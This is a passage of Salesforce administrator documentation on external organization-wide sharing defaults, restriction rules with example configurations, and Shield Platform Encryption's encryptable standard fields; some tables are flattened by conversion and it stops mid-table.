[other]: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain terms to avoid any effect on customer implementations.

Before you set the external organization-wide defaults, make sure that they’re enabled. From Setup, in the Quick Find box, enter Sharing Settings, then select Sharing Settings, and click the Enable External Sharing Model button. External organization-wide defaults are automatically enabled in all orgs created in Spring ’20 or after and in all orgs where Salesforce Experiences or portals are enabled.

Important: After it’s enabled, the External Sharing Model can’t be disabled. You can still manually set Default External Access and Default Internal Access to the same access level for each object.

When you first enable external organization-wide defaults, the default internal access and default external access are set to the original default access level. For example, if your organization-wide default for contacts is Private, the default internal access and default external access are Private as well. To secure access to your objects, we recommend that you set your external organization-wide defaults to Private.

Note: Keep in mind these access level exceptions:
• After you enable external organization-wide defaults, the external access levels for User and newly created custom objects are set to Private by default.
• In orgs created after Spring ’20, the default external access level is set to Private for all objects.
• Objects whose external org-wide defaults can’t be set to private can’t be viewed by external users in reports.
To set the external organization-wide default for an object:

1. From Setup, in the Quick Find box, enter Sharing Settings, then select Sharing Settings.
2. Click Edit in the Organization-Wide Defaults area.
3. For each object, select the default access you want to use.

You can assign the following access levels.

<table>
<thead>
<tr>
<th>Access Level</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Controlled by Parent</td>
<td>Users can perform actions (such as view, edit, delete) on a record on the detail side of a master-detail relationship if they can perform the same action on all associated master records.</td>
</tr>
<tr>
<td></td>
<td>![Note] For contacts, Controlled by Parent must be set for both the default internal and external access.</td>
</tr>
<tr>
<td>Private</td>
<td>Only users who are granted access by ownership, permissions, role hierarchy, manual sharing, or sharing rules can access the records.</td>
</tr>
<tr>
<td>Public Read Only</td>
<td>All users can view all records for the object.</td>
</tr>
<tr>
<td>Public Read/Write</td>
<td>All users can view and edit all records for the object.</td>
</tr>
</tbody>
</table>

![Note] The default external access level must be more restrictive or equal to the default internal access level. For example, you can have a custom object with default external access set to Private and default internal access set to Public Read Only.

4. Click Save.

Restriction Rules

Restriction rules let you enhance your security by allowing certain users to access only specified records. They prevent users from accessing records that can contain sensitive data or information that isn’t essential to their work. Restriction rules filter the records that a user has access to so that they can access only the records that match the criteria you specify.

Restriction rules are available for custom objects, external objects, contracts, tasks, and events. You can create up to two active restriction rules per object in Enterprise and Developer editions and up to five active restriction rules per object in Performance and Unlimited editions. Restriction rules are applied to the following Salesforce features:

- List Views
- Lookups
- Related Lists
- Reports
- Search
- SOQL
- SOSL

EDITIONS

Available in: Lightning Experience
Available in: Enterprise, Performance, Unlimited, and Developer Editions
When a restriction rule is applied to a user, the records that the user is granted access to via org-wide defaults, sharing rules, and other sharing mechanisms are filtered by criteria that you specify. For example, if users navigate to the Today’s Tasks tab or to a list view for activities, they see only the records that meet the restriction rule’s criteria. If a user has a link to a record that is no longer accessible after a restriction rule is applied, the user sees an error message.

**Note:** Before setting up a restriction rule on an external object, review these considerations.

- Restriction rules for external objects don’t include organization-wide defaults or sharing mechanisms.
- Only external objects created using the Salesforce Connect: OData 2.0, OData 4.0, and Cross-Org adapters support restriction rules.
- External objects created using the Cross-Org adapter don’t support search or SOSL when a rule is applied to a user. Salesforce returns only search results that match the most recently viewed records.
- Disabling search on external objects is recommended.
- External objects created using the Salesforce Connect: Custom Adapter aren’t supported.

When Do I Use Restriction Rules?

Use restriction rules when you want certain users to see only a specific set of records. Restriction rules can simplify controlling access to records with sensitive or confidential information. Access to contracts, tasks, and events can be difficult to make truly private using organization-wide defaults, making restriction rules the best way to configure this visibility.

For example, you have competing sales teams that can’t see each other’s activities, even though these activities are on the same account. With restriction rules, you can make sure that sales teams see only activities that belong to them and are relevant to their work. Or, if you provide confidential services to various individuals, use restriction rules so that only team members responsible for supporting these individuals can see related tasks.

When creating more than one restriction or scoping rule, configure the rules so that only one active rule applies to a given user. Salesforce doesn’t validate that only one active rule applies for a given user. If you create two active rules, and both rules apply to a given user, only one of the active rules is observed.
Before creating restriction rules, we recommend that you Turn Off Salesforce Classic for Your Org. Salesforce can’t guarantee that restriction rules work as intended for end users who are in the Salesforce Classic experience.

How Do Restriction Rules Affect Other Sharing Settings?

Users get access to records based on your organization-wide defaults and other sharing mechanisms such as sharing rules or enterprise territory management.

When a restriction rule is applied to users, the data that they had read access to via your sharing settings is further scoped to only records matching the record criteria. This behavior is similar to how you can filter results in a list view or report, except that it’s permanent. The number of records visible to the user can vary greatly depending on the value that you set in the record criteria.

How Do I Configure Restriction Rules?

You can create and manage restriction rules by navigating to a supported object in the Object Manager. Or use the RestrictionRule Tooling API object or RestrictionRule Metadata API type. For more information on using the API, see the Restriction Rules Developer Guide.
IN THIS SECTION:

Create a Restriction Rule
Control the records that a specific user group is permitted to see. When a restriction rule is applied to a user, the data that the user has access to via org-wide defaults, sharing rules, and other sharing mechanisms is filtered by the record criteria that you specify.

Restriction Rule Considerations
Keep these considerations and limitations in mind while using restriction rules.

Restriction Rule Example Scenarios
Refer to these sample restriction rules, which fulfill different access requirements.

Create a Restriction Rule
Control the records that a specific user group is permitted to see. When a restriction rule is applied to a user, the data that the user has access to via org-wide defaults, sharing rules, and other sharing mechanisms is filtered by the record criteria that you specify.

Before creating restriction rules, we recommend that you Turn Off Salesforce Classic for Your Org. Salesforce can’t guarantee that restriction rules work as intended for end users who are in the Salesforce Classic experience.

Restriction rules are available for custom objects, external objects, contracts, events, tasks, time sheets, and time sheet entries. You can create up to two restriction rules per object in Enterprise and Developer editions and up to five restriction rules per object in Performance and Unlimited editions.

Only external objects created using the Salesforce Connect: OData 2.0, OData 4.0, and Cross-Org adapters support restriction rules. Find out more in Restriction Rule Considerations.

1. In the Object Manager, click the object you want to create a restriction rule on.
   a. For an external object, enter External Data Sources in the Quick Find box in Setup, then select External Data Sources. Select an external object from the related list on this page.

2. In the sidebar, click Restriction Rule, and then click Create a Rule.

3. Enter the rule's name and full name. The full name is the name of the component used by the API.

4. To have the rule take effect upon saving, select Active.

5. Under User Criteria, select which users this restriction rule applies to.
   • If the rule applies to a subset of users such as those in a given role, profile, or department, select User Criteria. Then, select the field to use as criteria.
     Tip: Set the Type field as Current User when the rule applies to the currently logged-in user.
   • If the rule applies to a subset of users with a custom permission, select Permission Criteria.
     Note:
     • To filter records for users with the custom permission, set the Boolean value to True.
     • To filter records for users who don’t have the custom permission, set the Boolean value to False.
6. Under Record Criteria, select which records the specified users are allowed to see. For the Field value, you can reference another object’s field using dot notation.

To designate more than one field value in the record criteria, specify a list of comma-separated string or ID field type values.

- Add values separated by a comma in the Value field.
- Include an ID field and type a comma-separated list of 15-character ID values in the Value field.

Tip: To include a single value that contains a comma, surround the value with double quotes (").

7. Save the rule.

Note: Salesforce doesn’t validate that only one active rule applies for a given user. If you create two active rules, and both rules apply to a given user, only one of the active rules is observed. In this case, records that the user shouldn’t have access to could be accessible.

Restriction Rule Considerations

Keep these considerations and limitations in mind while using restriction rules.

Available Objects

- Before creating restriction rules, we recommend that you Turn Off Salesforce Classic for Your Org. Salesforce can’t guarantee that restriction rules work as intended for end users who are in the Salesforce Classic experience.
- Restriction rules are available for custom objects, external objects, contracts, events, tasks, time sheets, and time sheet entries.
• In calendars, if the Show Details access level is selected, users can see the subject of all events, regardless of the restriction rules created. For more information, see Share Your Calendar in Lightning Experience in Salesforce Help.

Applicable Features

• Restriction rules are applied to the following Salesforce features:
  – List Views
  – Lookups
  – Related Lists
  – Reports
  – Search
  – SOQL
  – SOSL

• Restriction rules support custom picklist values in record and user criteria. If you delete a custom picklist value used in a restriction rule, the rule no longer works as intended.

• Use the Activity Timeline instead of Open Activities or Activity History. If you use Open Activities and Activity History related lists, create rules on task or event objects using fields that are only available on the OpenActivity and ActivityHistory objects.

• If you use Open Activities and Activity History related lists, when restriction rules are applied, it’s possible that fewer than 50 records are displayed when more activities exist that the user has access to. This behavior occurs because these lists display at most 50 records, and restriction rules are applied after. This behavior is related to the known issue, Limit of Fifty Records Visible in Related List View.

• After restriction rules are applied, users can still see records that they previously had access to in the search box shortcuts list or in the Recently Viewed list view. When users click the record name, they can’t access the record and get an error.

• Users can see their subordinates’ events in calendars even if the users have an active restriction rule applied.

• If a user creates an event or a task record using the Chatter publisher, the record name is visible in the related Chatter post. Restriction rules don’t restrict visibility to these record names.

• Users can’t clone records that have a lookup to a record that they can’t see due to a restriction rule. For example, you have a restriction rule that prevents a user from seeing a specific contract record, and the user tries to clone an order record that has a lookup to the contract record. The user gets an error, preventing the clone operation from succeeding.

• Restriction rules aren’t applied for code executed in System Mode.

• Users with the View All or View All Data permissions can view all records regardless of restriction rules. Users with the Modify All or Modify All Data permissions can view, edit, and delete all records regardless of restriction rules.

• A user with a restriction rule applied might not find all possible matching results when searching for a record. For performance reasons, search crowding applies limits to the number of search results. The record the user is looking for can fall outside those limits. Learn how to adjust your searches for the best results at How Search Crowding Affects Search Results.

• The UserRecordAccess object doesn’t consider whether a user’s access is blocked due to a restriction rule. If a user’s access is blocked even though query results state that they should have access, check to see if a restriction rule on the object prevents the user’s access.

Creating Restriction Rules

• You can create up to two restriction rules per object in Enterprise and Developer editions and up to five restriction rules per object in Performance and Unlimited editions.

• Create only one restriction or scoping rule per object per user. In other words, for a given object, only one restriction or scoping rule at most can have the User Criteria field evaluate to true for a given user.
Creating a restriction rule for an object doesn’t automatically restrict access to its child objects. For example, if you create a restriction rule for the Contract object, the access doesn’t change for notes that are associated with the affected contract records. To secure these child objects, you must use other sharing mechanisms.

You can reference another object’s field using the Record Criteria field. See Restriction Rule Example Scenarios for examples.

We support these data types in the User Criteria and Record Criteria fields:
- boolean
- date
- dateTime
- double
- int
- reference
- string
- time
- single picklist

**Note:** Comma-separated ID or string values are supported in the Record Criteria field.

Restriction rules support only the EQUALS operator. The use of AND and OR operators isn’t supported.

The use of formulas isn’t supported.

Don’t create rules on Event.IsGroupEvent, which indicates whether the event has invitees.

You can use a change set or unlocked package to move restriction rules from one org to another.

Some IDs are specific to your Salesforce org, such as role, record type, or profile IDs. If you include these IDs in your User Criteria or Record Criteria fields, keep this consideration in mind when deploying rules between sandboxes or to a production org. You must modify these IDs in the target org if the restriction rules were originally created somewhere else.

When you reference the Owner field, you must specify the object type in your syntax. For example, the Owner field on an Event object can contain a user or a queue, but queues aren’t supported in restriction rules. So it’s necessary to specify Owner:User in the record criteria syntax when the criteria should allow only users.

**Restriction Rules and External Objects**

Only external objects created using the Salesforce Connect: OData 2.0, OData 4.0, and Cross-Org adapters support restriction rules.

External objects created using the Cross-Org adapter don’t support search or SOSL when a rule is applied to a user. Salesforce returns only search results that match the most recently viewed records.

External objects created using the Salesforce Connect custom adapter aren’t supported.

External object record data is stored outside Salesforce. Admins are responsible for ensuring that rules they create on external objects don’t negatively impact performance in Salesforce or in the external system.

**Important:**
- Editing or deleting a restriction rule on an external object causes an additional database call, which can result in additional billing when the external data source bills per call.
- When search is enabled for external object records, searching requires additional database calls each time. Avoid additional charges by turning off search for external object records.

As with all restriction rules, using only object fields that are indexed is recommended, especially in record criteria.

Using external IDs in record criteria isn’t recommended.
Restriction rules for external objects don’t include organization-wide defaults or sharing mechanisms.

External objects don’t appear in Object Manager. To navigate to an external object, enter External Data Sources in the Quick Find box in Setup, then select External Data Sources. Select an external object from the list view on this page.

**Note:** You can also find external objects in the Most Recently Used list in Setup.

**Performance Considerations**

Restriction rules were built to support sharing needs in a performant way. Your data volume and architecture are also factors in rule performance.

- To test a rule’s performance impact, take the record criteria to your API client of choice and run the query. If it’s fast for a given user, the rule is likely to run efficiently. For objects with large data volumes, add three to five percent overhead to the record filter’s performance.
- If it isn’t performant, isolate the field that is slowing performance. Work with Salesforce customer support to get the field indexed.

**Restriction Rule Example Scenarios**

Refer to these sample restriction rules, which fulfill different access requirements.

To implement these examples, navigate to a supported object in the Object Manager and click **Restriction Rules**.

### Allow Users to See Only Specified Record Type

This restriction rule allows the designated users to see only the records that have a specified record type.

<table>
<thead>
<tr>
<th>Criteria</th>
<th>Click Path</th>
<th>Field</th>
<th>Operator</th>
<th>Type</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>User Criteria</td>
<td><strong>User &gt; Role ID</strong></td>
<td>[$User].UserRole</td>
<td><strong>Equals</strong></td>
<td>ID</td>
<td>00Exxxxxxxxxx</td>
</tr>
<tr>
<td>Record Criteria</td>
<td><strong>Object &gt; Record Type ID &gt; Name</strong></td>
<td>[Object].RecordTypeName</td>
<td><strong>Equals</strong></td>
<td>String</td>
<td>Sample Record Type Name</td>
</tr>
</tbody>
</table>

### Allow Users to See Only Records That They Own

This restriction rule allows users with the designated profile to see only the tasks that they own.

<table>
<thead>
<tr>
<th>Criteria</th>
<th>Click Path</th>
<th>Field</th>
<th>Operator</th>
<th>Type</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>User Criteria</td>
<td><strong>User &gt; Profile ID</strong></td>
<td>[$User].ProfileId</td>
<td><strong>Equals</strong></td>
<td>ID</td>
<td>00exxxxxxxxxx</td>
</tr>
<tr>
<td>Record Criteria</td>
<td><strong>Task &gt; Assigned To ID (User) User ID</strong></td>
<td>[Task].OwnerUser.Id</td>
<td><strong>Equals</strong></td>
<td>Current User</td>
<td>$User.Id</td>
</tr>
</tbody>
</table>
Allow Users to See Only Records Owned by Same Role

This restriction rule allows active users to see only the events owned by users that have the same role.

<table>
<thead>
<tr>
<th>Criteria</th>
<th>Click Path</th>
<th>Field</th>
<th>Operator</th>
<th>Type</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>User Criteria</td>
<td>User &gt; Active</td>
<td>[$User].IsActive</td>
<td>Equals</td>
<td>Boolean</td>
<td>True</td>
</tr>
</tbody>
</table>

Allow Users to See Only Records Owned by Same Profile

This restriction rule allows active users to see only the events owned by users that have the same profile.

<table>
<thead>
<tr>
<th>Criteria</th>
<th>Click Path</th>
<th>Field</th>
<th>Operator</th>
<th>Type</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>User Criteria</td>
<td>User &gt; Active</td>
<td>[$User].IsActive</td>
<td>Equals</td>
<td>Boolean</td>
<td>True</td>
</tr>
<tr>
<td>Record Criteria</td>
<td>Event &gt; Assigned To ID (User) Profile ID</td>
<td>[Event].Owner:User.ProfileId</td>
<td>Equals</td>
<td>Current User</td>
<td>$User.ProfileId</td>
</tr>
</tbody>
</table>

Allow Users to See Records Based on a Custom Field

This restriction rule allows high-volume users to see only the contracts where the user’s department matches the contract’s department. This rule uses a custom field, Department__c that must have the appropriate value set through Apex, Process Builder, workflows, or flows.

<table>
<thead>
<tr>
<th>Criteria</th>
<th>Click Path</th>
<th>Field</th>
<th>Operator</th>
<th>Type</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>User Criteria</td>
<td>User &gt; User Type</td>
<td>[$User].UserType</td>
<td>Equals</td>
<td>Picklist</td>
<td>High Volume Portal</td>
</tr>
<tr>
<td>Record Criteria</td>
<td>Contract &gt; Department</td>
<td>[Contract].Department__c</td>
<td>Equals</td>
<td>Current User</td>
<td>$User.Department</td>
</tr>
</tbody>
</table>

Allow Users to See an External Object’s Records

This restriction rule allows active Salesforce users to see the records of an external object called Purchase Order. The rule uses a field called IsClosed on Purchase Order records in its record criteria.

Note: Only external objects created using the Salesforce Connect: OData 2.0, OData 4.0, and Cross-Org adapters support restriction rules. Find out more in Restriction Rule Considerations.

<table>
<thead>
<tr>
<th>Criteria</th>
<th>Click Path</th>
<th>Field</th>
<th>Operator</th>
<th>Type</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>User Criteria</td>
<td>User &gt; Department</td>
<td>[$User].Department</td>
<td>Equals</td>
<td>String</td>
<td>Accounting</td>
</tr>
<tr>
<td>Record Criteria</td>
<td>PurchaseOrder__X IsClosed__c</td>
<td>[PurchaseOrder__X].IsClosed__c</td>
<td>Equals</td>
<td>String</td>
<td>false</td>
</tr>
</tbody>
</table>
Provide User Access With Multiple String or ID Values in Record Criteria

This restriction rule allows active users to see records whose Name__c field matches the rule’s record criteria values. The record criteria contains strings separated by a comma. ID values are also supported. Double-quotes specify that the value inside the quotes isn’t considered a delimiter.

This rule uses a custom object called Agent__c with a custom text field called Name__c.

<table>
<thead>
<tr>
<th>Criteria</th>
<th>Click Path</th>
<th>Field</th>
<th>Operator</th>
<th>Type</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>User Criteria</td>
<td>User &gt; Active</td>
<td>$[User].IsActive</td>
<td>Equals</td>
<td>Boolean</td>
<td>True</td>
</tr>
<tr>
<td>Record Criteria</td>
<td>Agent__c &gt; Name__c</td>
<td>$[Agent__c].Name__c</td>
<td>Equals</td>
<td>String</td>
<td>Tom, Anita, &quot;Torres, Jia&quot;</td>
</tr>
</tbody>
</table>

This restriction rule allows active users to see records owned by two different managers. In this example, the rule’s record criteria contains ID’s separated by a comma.

<table>
<thead>
<tr>
<th>Criteria</th>
<th>Click Path</th>
<th>Field</th>
<th>Operator</th>
<th>Type</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>User Criteria</td>
<td>User &gt; Active</td>
<td>$[User].IsActive</td>
<td>Equals</td>
<td>Boolean</td>
<td>True</td>
</tr>
<tr>
<td>Record Criteria</td>
<td>Agent__c &gt; Owner ID (User) Manager ID</td>
<td>$[Agent__c].Owner:User:ManagerId</td>
<td>Equals</td>
<td>ID</td>
<td>001xx000003HNy7, 001xx000003HNut</td>
</tr>
</tbody>
</table>

Strengthen Your Data’s Security with Shield Platform Encryption

Shield Platform Encryption gives your data a whole new layer of security while preserving critical platform functionality. You can encrypt sensitive data at rest, and not just when transmitted over a network, so your company can confidently comply with privacy policies, regulatory requirements, and contractual obligations for handling private data.

**Important:** Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain terms to avoid any effect on customer implementations.

Shield Platform Encryption builds on the data encryption options that Salesforce offers out of the box. Data stored in many standard and custom fields and in files and attachments is encrypted using an advanced HSM-based key derivation system. So it’s protected even when other lines of defense are compromised.

Your data encryption key material is never saved or shared across orgs. You can choose to have Salesforce generate key material for you or upload your own key material. By default, the Shield Key Management Service derives data encryption keys on demand from a master secret and your org-specific key material, and stores that derived data encryption key in an encrypted key cache. You can also opt out of key derivation on a key-by-key basis. Or you can store your final data encryption key outside of Salesforce and have the Cache-Only Key Service fetch it on demand from a key service that you control. No matter how you choose to manage your keys, Shield Platform Encryption secures your key material at every stage of the encryption process.

You can try out Shield Platform Encryption at no charge in Developer Edition orgs. It’s available in sandboxes after it is provisioned for your production org.
Example: Warren is an IT Systems Specialist for Northern Trail Outfitters, an outdoor apparel company. He must track the encryption policy status across the company’s entire Salesforce rollout. He can simplify this process through the Security Center app, which can capture selected security metrics like encryption policies across the rollout. For more information, see Take Charge of Your Security Goals with Security Center.

IN THIS SECTION:

What You Can Encrypt
Shield Platform Encryption lets you encrypt a wide variety of standard fields and custom fields. You can also encrypt files and attachments stored in Salesforce, Salesforce search indexes, and more. We continue to make more fields and files available for encryption.

How Shield Platform Encryption Works
Shield Platform Encryption relies on a unique tenant secret that you control and a master secret that’s maintained by Salesforce. By default, we combine these secrets to create your unique data encryption key. You can also supply your own final data encryption key. We use your data encryption key to encrypt data that your users put into Salesforce, and to decrypt data when your authorized users need it.

Set Up Your Encryption Policy
An encryption policy is your plan for encrypting data with Shield Platform Encryption. You can choose how you want to implement it. For example, you can encrypt individual fields and apply different encryption schemes to those fields. Or you can choose to encrypt other data elements such as files and attachments, data in Chatter, or search indexes. Remember that encryption is not the same thing as field-level security or object-level security. Put those controls in place before you implement your encryption policy.

Filter Encrypted Data with Deterministic Encryption
You can filter data that’s protected with Shield Platform Encryption using deterministic encryption. Your users can filter records in reports and list views, even when the underlying fields are encrypted. You can apply case-sensitive deterministic encryption or exact-match case-insensitive deterministic encryption to data on a field-by-field basis.

Key Management and Rotation
Shield Platform Encryption lets you control and rotate the key material used to encrypt your data. You can use Salesforce to generate a tenant secret for you, which is then combined with a per-release master secret to derive a data encryption key. This derived data encryption key is then used in encrypt and decrypt functions. You can also use the Bring Your Own Key (BYOK) service to upload your own key material, or store key material outside of Salesforce and have the Cache-Only Key Service fetch your key material on demand.

Shield Platform Encryption Customizations
Some features and settings require adjustment before they work with encrypted data.

Tradeoffs and Limitations of Shield Platform Encryption
A security solution as powerful as Shield Platform Encryption doesn't come without some tradeoffs. When your data is encrypted, some users may see limitations to some functionality, and a few features aren't available at all. Consider the impact on your users and your overall business solution as you design your encryption strategy.

SEE ALSO:

Classic Encryption for Custom Fields
What You Can Encrypt

Shield Platform Encryption lets you encrypt a wide variety of standard fields and custom fields. You can also encrypt files and attachments stored in Salesforce, Salesforce search indexes, and more. We continue to make more fields and files available for encryption.

IN THIS SECTION:

Which Standard Fields Can I Encrypt?
You can encrypt certain fields on standard and custom objects, data in Chatter, and search index files. With some exceptions, encrypted fields work normally throughout the Salesforce user interface, business processes, and APIs.

Which Custom Fields Can I Encrypt?
You can apply Shield Platform Encryption to the contents of fields that belong to one of these custom field types.

Which Files Are Encrypted?
When you enable Shield Platform Encryption for files and attachments, all files and attachments that can be encrypted are encrypted. The body of each file or attachment is encrypted when it’s uploaded.

What Other Data Elements Can I Encrypt?
In addition to standard and custom field data and files, Shield Platform Encryption supports other Salesforce data. You can encrypt CRM Analytics datasets, Chatter fields, fields in the Salesforce B2B Commerce managed package, and more.

Which Standard Fields Can I Encrypt?
You can encrypt certain fields on standard and custom objects, data in Chatter, and search index files. With some exceptions, encrypted fields work normally throughout the Salesforce user interface, business processes, and APIs.

When you encrypt a field, existing values aren’t encrypted immediately. Values are encrypted only after they’re touched or after they’re synchronized with the latest encryption policy. Synchronize existing data with your policy from Setup on the Encryption Statistics page.

Compatible Standard Fields
You can encrypt the contents of these standard field types.

<table>
<thead>
<tr>
<th>Object</th>
<th>Fields</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account Participant</td>
<td>Comments</td>
<td>The Account Participant object is available in select Salesforce Industries products.</td>
</tr>
<tr>
<td>Accounts</td>
<td>Account Name, Account Site, Billing Address (encrypts Billing Street and Billing City), Description</td>
<td>If you enabled Person Accounts, certain account and contact fields are combined into one record. In that case, you can enable encryption for a different set of Account fields.</td>
</tr>
<tr>
<td>Object</td>
<td>Fields</td>
<td>Notes</td>
</tr>
<tr>
<td>--------</td>
<td>--------</td>
<td>-------</td>
</tr>
<tr>
<td>Fax</td>
<td>Phone</td>
<td>Shipping Address (encrypts Shipping Street and Shipping City)</td>
</tr>
<tr>
<td>Website</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Accounts with Person Accounts enabled</td>
<td>Account Name</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Account Site</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Assistant</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Assistant Phone</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Billing Address (encrypts Billing Street and Billing City)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Description</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Email</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Fax</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Home Phone</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Mailing Address (encrypts Mailing Street and Mailing City)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Mobile</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Other Address (encrypts Other Street and Other City)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Other Phone</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Phone</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Shipping Address (encrypts Shipping Street and Shipping City)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Title</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Website</td>
<td></td>
</tr>
<tr>
<td>Activity</td>
<td>Description (encrypts Event—Description and Task—Comment)</td>
<td>Selecting an Activity field encrypts that field on standalone events, event series (Lightning Experience), and recurring events (Salesforce Classic).</td>
</tr>
<tr>
<td></td>
<td>Subject (encrypts Event—Subject and Task—Subject)</td>
<td></td>
</tr>
<tr>
<td>Assessment Question Response</td>
<td>Choice Value</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Date Value</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Date Time Value</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Response Text</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Response Value</td>
<td></td>
</tr>
<tr>
<td>Object</td>
<td>Fields</td>
<td>Notes</td>
</tr>
<tr>
<td>----------------------------</td>
<td>--------------------------------------------------</td>
<td>-----------------------------------------------------------------------</td>
</tr>
<tr>
<td>Business License</td>
<td>Identifier</td>
<td>Emergency Response Management for Public Sector standard objects and fields are available to users who have the Emergency Response for Public Sector permission set license.</td>
</tr>
<tr>
<td>Business License Application</td>
<td>Site Address (encrypts Site Street and Site City)</td>
<td></td>
</tr>
<tr>
<td>Business Profile</td>
<td>Business Operating Name Business Tax Identifier</td>
<td></td>
</tr>
<tr>
<td>Cases</td>
<td>Description Subject</td>
<td></td>
</tr>
<tr>
<td>Case Comments</td>
<td>Body (including internal comments)</td>
<td></td>
</tr>
<tr>
<td>Chat Transcript</td>
<td>Body Supervisor Transcript Body</td>
<td>Before you can apply encryption to Chat fields, add the Supervisor Transcript Body field to the LiveChatTranscript record home layout.</td>
</tr>
<tr>
<td>Contact Point Address</td>
<td>Address</td>
<td></td>
</tr>
<tr>
<td>Contact Point Email</td>
<td>Email address</td>
<td></td>
</tr>
<tr>
<td>Contact Point Phone</td>
<td>Telephone number</td>
<td></td>
</tr>
<tr>
<td>Contacts</td>
<td>Assistant Assistant Phone Description Email Fax Home Phone Mailing Address (encrypts Mailing Street and Mailing City) Mobile Name (encrypts First Name, Middle Name, and Last Name) Other Address (encrypts Other Street and Other City) Other Phone Phone Title</td>
<td></td>
</tr>
<tr>
<td>Contracts</td>
<td>Billing Address (encrypts Billing Street and Billing City)</td>
<td></td>
</tr>
<tr>
<td>Object</td>
<td>Fields</td>
<td>Notes</td>
</tr>
<tr>
<td>-------------------------</td>
<td>------------------------------------------------------------------------</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>Shipping Address</td>
<td>Shipping Address (encrypts Shipping Street and Shipping City)</td>
<td></td>
</tr>
<tr>
<td>Conversation Context</td>
<td>Key</td>
<td></td>
</tr>
<tr>
<td>Entry</td>
<td>Value</td>
<td></td>
</tr>
<tr>
<td>Conversation Entry</td>
<td>Actor Name</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Message</td>
<td></td>
</tr>
<tr>
<td>Conversation Participant</td>
<td>Participant Display Name</td>
<td></td>
</tr>
<tr>
<td>Course Offering</td>
<td>Name</td>
<td>Emergency Response Management for Public Sector standard objects and fields are available to users who have the Emergency Response for Public Sector permission set license.</td>
</tr>
<tr>
<td>Custom Objects</td>
<td>Name</td>
<td></td>
</tr>
<tr>
<td>Email Messages</td>
<td>From Name</td>
<td>If you use Email-to-Case, these fields are also encrypted on the customer emails that generate cases.</td>
</tr>
<tr>
<td></td>
<td>From Name</td>
<td></td>
</tr>
<tr>
<td></td>
<td>To Address</td>
<td></td>
</tr>
<tr>
<td></td>
<td>CC Address</td>
<td></td>
</tr>
<tr>
<td></td>
<td>BCC Address</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Subject</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Text Body</td>
<td></td>
</tr>
<tr>
<td></td>
<td>HTML Body</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Headers</td>
<td></td>
</tr>
<tr>
<td>Email Message Relations</td>
<td>Relation Address</td>
<td></td>
</tr>
<tr>
<td>Identity Document</td>
<td>Document Number</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Expiration Date</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Issue Date</td>
<td></td>
</tr>
<tr>
<td>Individual</td>
<td>Name</td>
<td>The Individual object is available only if you enable the setting to make data protection details available in records.</td>
</tr>
<tr>
<td>Leads</td>
<td>Address (Encrypts Street and City)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Company</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Description</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Email</td>
<td></td>
</tr>
<tr>
<td>Object</td>
<td>Fields</td>
<td>Notes</td>
</tr>
<tr>
<td>-----------------------------</td>
<td>------------------------------------------------------------------------</td>
<td>----------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>The Opportunity Participant</td>
<td>Fax, Mobile, Name (Encrypts First Name, Middle Name, and Last Name), Phone, Title, Website</td>
<td>The Opportunity Participant object is available in select Salesforce Industries products.</td>
</tr>
<tr>
<td>List Emails</td>
<td>From Name, From Address, Reply To Address</td>
<td></td>
</tr>
<tr>
<td>List Email Sent Results</td>
<td>Email</td>
<td></td>
</tr>
<tr>
<td>Messaging End User</td>
<td>Messaging Platform Key Name, Profile Picture URL</td>
<td></td>
</tr>
<tr>
<td>OCR Document Scan Result</td>
<td>Extracted Values</td>
<td></td>
</tr>
<tr>
<td>OCR Scan Result Template Mapping</td>
<td>Mapped Fields</td>
<td></td>
</tr>
<tr>
<td>Opportunities</td>
<td>Description, Next Step, Opportunity Name</td>
<td></td>
</tr>
<tr>
<td>Opportunity Participant</td>
<td>Comments</td>
<td>The Opportunity Participant object is available in select Salesforce Industries products.</td>
</tr>
<tr>
<td>Public Complaint</td>
<td>Business Address, Business Name, Email, First Name, Last Name, Mobile Number</td>
<td>Emergency Response Management for Public Sector standard objects and fields are available to users who have the Emergency Response for Public Sector permission set license.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>Referral</td>
<td>Client Email, Client Name, Client Phone</td>
<td></td>
</tr>
<tr>
